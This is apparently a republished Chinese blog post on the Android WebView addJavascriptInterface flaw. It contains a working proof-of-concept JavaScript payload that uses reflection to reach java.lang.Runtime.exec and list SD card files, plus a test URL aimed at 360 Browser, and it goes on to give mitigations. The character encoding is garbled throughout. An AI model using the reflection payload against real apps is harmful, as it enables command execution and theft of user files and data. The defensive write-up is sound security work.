Android WebView的Js对象注入漏洞解决方案

最近在作一个项目过程当中,发现了一个很严重的安全漏洞,这个漏洞是乌云平台(http://www.wooyun.org)报告出来的。javascript

1,使用场景

咱们不少时候要使用WebView来展现一个网页,如今不少应用为了作到服务端可控,不少结果页都是网页的,而不是本地实现,这样作有不少好处,好比界面的改变不须要从新发布新版本,直接在Server端修改就好了。用网页来展现界面,一般状况下都或多或少都与Java代码有交互,好比点击网页上面的一个按钮,咱们须要知道这个按钮点击事件,或者咱们要调用某个方法,让页面执行某种动做,为了实现这些交互,咱们一般都是使用JS来实现,而WebView已经提供了这样的方法,具体用法以下:html

[java] view plaincopyjava

  1. mWebView.getSettings().setJavaScriptEnabled(true);  android

  2. mWebView.addJavascriptInterface(new JSInterface(), "jsInterface");  web

咱们向WebView注册一个名叫“jsInterface”的对象,而后在JS中能够访问到jsInterface这个对象,就能够调用这个对象的一些方法,最终能够调用到Java代码中,从而实现了JS与Java代码的交互。浏览器

咱们一块儿来看看关于addJavascriptInterface方法在Android官网的描述:安全

  • This method can be used to allow JavaScript to control the host application. This is a powerful feature, but also presents a security risk for applications targeted to API level JELLY_BEAN or below, because JavaScript could use reflection to access an injected object's public fields. Use of this method in a WebView containing untrusted content could allow an attacker to manipulate the host application in unintended ways, executing Java code with the permissions of the host application. Use extreme care when using this method in a WebView which could contain untrusted content.app

  • JavaScript interacts with Java object on a private, background thread of this WebView. Care is therefore required to maintain thread safety.测试

  • The Java object's fields are not accessible.ui

简单地说,就是用addJavascriptInterface可能致使不安全,由于JS可能包含恶意代码。今天咱们要说的这个漏洞就是这个,当JS包含恶意代码时,它能够干任何事情。

2,漏洞描述

经过JavaScript,能够访问当前设备的SD卡上面的任何东西,甚至是联系人信息,短信等。这很恶心吧,嘎嘎。好,咱们一块儿来看看是怎么出现这样的错误的。能够去看看乌云平台上的这个bug描述:猛点这里

1,WebView添加了JavaScript对象,而且当前应用具备读写SDCard的权限,也就是:android.permission.WRITE_EXTERNAL_STORAGE

2,JS中能够遍历window对象,找到存在“getClass”方法的对象的对象,而后再经过反射的机制,获得Runtime对象,而后调用静态方法来执行一些命令,好比访问文件的命令.

3,再从执行命令后返回的输入流中获得字符串,就能够获得文件名的信息了。而后想干什么就干什么,好危险。核心JS代码以下:

[javascript] view plaincopy

  1. function execute(cmdArgs)  

  2. {  

  3.     for (var obj in window) {  

  4.         if ("getClass" in window[obj]) {  

  5.             alert(obj);  

  6.             return  window[obj].getClass().forName("java.lang.Runtime")  

  7.                  .getMethod("getRuntime",null).invoke(null,null).exec(cmdArgs);  

  8.         }  

  9.     }  

  10. }   


3,漏洞证实

举例一:为了证实这个漏洞,写了一个demo来讲明。我就只是加载一个包含恶意JS代码的本地网页,HTML其代码以下:

[html] view plaincopy

  1. <html>  

  2.   <head>  

  3.     <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">  

  4.     <script>  

  5.       var i=0;  

  6.       function getContents(inputStream)  

  7.       {  

  8.         var contents = ""+i;  

  9.         var b = inputStream.read();  

  10.         var i = 1;  

  11.         while(b != -1) {  

  12.             var bString = String.fromCharCode(b);  

  13.             contents += bString;  

  14.             contents += "\n"  

  15.             b = inputStream.read();  

  16.         }  

  17.         i=i+1;  

  18.         return contents;  

  19.        }  

  20.         

  21.        function execute(cmdArgs)  

  22.        {  

  23.         for (var obj in window) {  

  24.             console.log(obj);  

  25.             if ("getClass" in window[obj]) {  

  26.                 alert(obj);  

  27.                 return window[obj].getClass().forName("java.lang.Runtime").  

  28.                     getMethod("getRuntime",null).invoke(null,null).exec(cmdArgs);  

  29.              }  

  30.          }  

  31.        }   

  32.         

  33.       var p = execute(["ls","/mnt/sdcard/"]);  

  34.       document.write(getContents(p.getInputStream()));  

  35.     </script>  

  36.   

  37.     <script language="javascript">  

  38.       function onButtonClick()   

  39.       {  

  40.         // Call the method of injected object from Android source.  

  41.         var text = jsInterface.onButtonClick("从JS中传递过来的文本!!!");  

  42.         alert(text);  

  43.       }  

  44.   

  45.       function onImageClick()   

  46.       {  

  47.         //Call the method of injected object from Android source.  

  48.         var src = document.getElementById("image").src;  

  49.         var width = document.getElementById("image").width;  

  50.         var height = document.getElementById("image").height;  

  51.   

  52.         // Call the method of injected object from Android source.  

  53.         jsInterface.onImageClick(src, width, height);  

  54.       }  

  55.     </script>  

  56.   </head>  

  57.   

  58.   <body>  

  59.       <p>点击图片把URL传到Java代码</p>  

  60.       <img class="curved_box" id="image"   

  61.          onclick="onImageClick()"  

  62.          width="328"  

  63.          height="185"  

  64.          src="http://t1.baidu.com/it/u=824022904,2596326488&fm=21&gp=0.jpg"  

  65.          onerror="this.src='background_chl.jpg'"/>  

  66.     </p>  

  67.     <button type="button" onclick="onButtonClick()">与Java代码交互</button>  

  68.   </body>  

  69. </html>  

这段HTML的运行效果以下:


图一:指望运行结果图

上图中,点击按钮后,JS中传递 一段文本到Java代码,显示一下个toast,点击图片后,把图片的URL,width,height传到Java层,也用toast显示出来。

要实现这样的功能,就须要注Java对象。

简单说明一下

1,请看execute()这个方法,它遍历全部window的对象,而后找到包含getClass方法的对象,利用这个对象的类,找到java.lang.Runtime对象,而后调用“getRuntime”静态方法方法获得Runtime的实例,再调用exec()方法来执行某段命令。

2,getContents()方法,从流中读取内容,显示在界面上。

3,关键的代码就是如下两句

[javascript] view plaincopy

  1. return window[obj].getClass().forName("java.lang.Runtime").  

  2.                     getMethod("getRuntime",null).invoke(null,null).exec(cmdArgs);  

Java代码实现以下:

[java] view plaincopy

  1. mWebView = (WebView) findViewById(R.id.webview);  

  2. mWebView.getSettings().setJavaScriptEnabled(true);  

  3. mWebView.addJavascriptInterface(new JSInterface(), "jsInterface");  

  4. mWebView.loadUrl("file:///android_asset/html/test.html");  

须要添加的权限:

[html] view plaincopy

  1. <uses-permission android:name="android.permission.INTERNET"/>  

  2. <uses-permission android:name="android.permission.ACCESS_NETWORK_STATE" />  

  3. <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />  

当点击LOAD菜单后,运行截图以下:(理论上应该出现图一界面)


图二:实际运行结果,列出了SDCard中的文件

举例二:360浏览器也存在这个问题,我测试的系统是android 4.0.2,360浏览器版本是:4.8.7

在浏览器输入框中输入:http://bitkiller.duapp.com/jsobj.html,而后前往,它会出现以下的界面


图三:360浏览器运行结果

说明:其中searchBoxJavaBridge_不是360注入的对象,而是WebView内部注入的,这是在3.0之后的Android系统上添加的。

在关闭这个对话框以后,它会列出当前SDCard上面的全部文件列表,以下图所示


图四:错误结果

4,解决方案

1,Android 4.2以上的系统

在Android 4.2以上的,google做了修正,经过在Java的远程方法上面声明一个@JavascriptInterface,以下面代码:

[java] view plaincopy

  1. class JsObject {  

  2.    @JavascriptInterface  

  3.    public String toString() { return "injectedObject"; }  

  4. }  

  5. webView.addJavascriptInterface(new JsObject(), "injectedObject");  

  6. webView.loadData("""text/html"null);  

  7. webView.loadUrl("javascript:alert(injectedObject.toString())");  

2,Android 4.2如下的系统

这个问题比较难解决,但也不是不能解决。

首先,咱们确定不能再调用addJavascriptInterface方法了。关于这个问题,最核心的就是要知道JS事件这一个动做,JS与Java进行交互咱们知道,有如下几种,比prompt, alert等,这样的动做都会对应到WebChromeClient类中相应的方法,对于prompt,它对应的方法是onJsPrompt方法,这个方法的声明以下:

[java] view plaincopy

  1. public boolean onJsPrompt(WebView view, String url, String message,   

  2.     String defaultValue, JsPromptResult result)  

经过这个方法,JS能把信息(文本)传递到Java,而Java也能把信息(文本)传递到JS中,通知这个思路咱们能不能找到解决方案呢?

通过一番尝试与分析,找到一种比较可行的方案,请看下面几个小点:

【1】让JS调用一个Javascript方法,这个方法中是调用prompt方法,经过prompt把JS中的信息传递过来,这些信息应该是咱们组合成的一段有意义的文本,可能包含:特定标识,方法名称,参数等。在onJsPrompt方法中,咱们去解析传递过来的文本,获得方法名,参数等,再经过反射机制,调用指定的方法,从而调用到Java对象的方法。

【2】关于返回值,能够经过prompt返回回去,这样就能够把Java中方法的处理结果返回到Js中。

【3】咱们须要动态生成一段声明Javascript方法的JS脚本,经过loadUrl来加载它,从而注册到html页面中,具体的代码以下:

[javascript] view plaincopy

  1. javascript:(function JsAddJavascriptInterface_(){  

  2.     if (typeof(window.jsInterface)!='undefined') {      

  3.         console.log('window.jsInterface_js_interface_name is exist!!');}   

  4.     else {  

  5.         window.jsInterface = {          

  6.             onButtonClick:function(arg0) {   

  7.                 return prompt('MyApp:'+JSON.stringify({obj:'jsInterface',func:'onButtonClick',args:[arg0]}));  

  8.             },  

  9.               

  10.             onImageClick:function(arg0,arg1,arg2) {   

  11.                 prompt('MyApp:'+JSON.stringify({obj:'jsInterface',func:'onImageClick',args:[arg0,arg1,arg2]}));  

  12.             },  

  13.         };  

  14.     }  

  15. }  

  16. )()  

说明:

1,上面代码中的jsInterface就是要注册的对象名,它注册了两个方法,onButtonClick(arg0)和onImageClick(arg0, arg1, arg2),若是有返回值,就添加上return。

2,prompt中是咱们约定的字符串,它包含特定的标识符MyApp:,后面包含了一串JSON字符串,它包含了方法名,参数,对象名等。

3,当JS调用onButtonClick或onImageClick时,就会回调到Java层中的onJsPrompt方法,咱们再解析出方法名,参数,对象名,再反射调用方法。
4,window.jsInterface这表示在window上声明了一个Js对象,声明方法的形式是:方法名:function(参数1,参数2) 

5,一些思考

如下是在实现这个解决方案过程当中遇到的一些问题和思考:

【1】生成Js方法后,加载这段Js的时机是什么?

刚开始时在当WebView正常加载URL后去加载Js,但发现会存在问题,若是当WebView跳转到下一个页面时,以前加载的Js就可能无效了,因此须要再次加载。这个问题通过尝试,须要在如下几个方法中加载Js,它们是WebChromeClient和WebViewClient的方法:

  • onLoadResource

  • doUpdateVisitedHistory

  • onPageStarted

  • onPageFinished

  • onReceivedTitle

  • onProgressChanged

目前测试了这几个地方,没什么问题,这里我也不能彻底确保没有问题。

【2】须要过滤掉Object类的方法

因为经过反射的形式来获得指定对象的方法,他会把基类的方法也会获得,最顶层的基类就是Object,因此咱们为了避免把getClass方法注入到Js中,因此咱们须要把Object的公有方法过滤掉。这里严格说来,应该有一个须要过滤方法的列表。目前个人实现中,须要过滤的方法有:

        "getClass",
        "hashCode",
        "notify",
        "notifyAll",
        "equals",
        "toString",
        "wait",

【3】经过手动loadUrl来加载一段js,这种方式难道js中的对象就不在window中吗?也就是说,经过遍历window的对象,不能找到咱们经过loadUrl注入的js对象吗?

关于这个问题,咱们的方法是经过Js声明的,经过loadUrl的形式来注入到页面中,其实本质至关于把咱们这动态生成的这一段Js直接写在Html页面中,因此,这些Js中的window中虽然包含了咱们声明的对象,可是他们并非Java对象,他们是经过Js语法声明的,因此不存在getClass之类的方法。本质上他们是Js对象。

【4】在Android 3.0如下,系统本身添加了一个叫searchBoxJavaBridge_的Js接口,要解决这个安全问题,咱们也须要把这个接口删除,调用removeJavascriptInterface方法。这个searchBoxJavaBridge_好像是跟google的搜索框相关的。

【5】在实现过程当中,咱们须要判断系统版本是否在4.2如下,由于在4.2以上,Android修复了这个安全问题。咱们只是须要针对4.2如下的系统做修复。

转载请注明出处,谢谢你们!!!


源码下载

相关文章
相关标签/搜索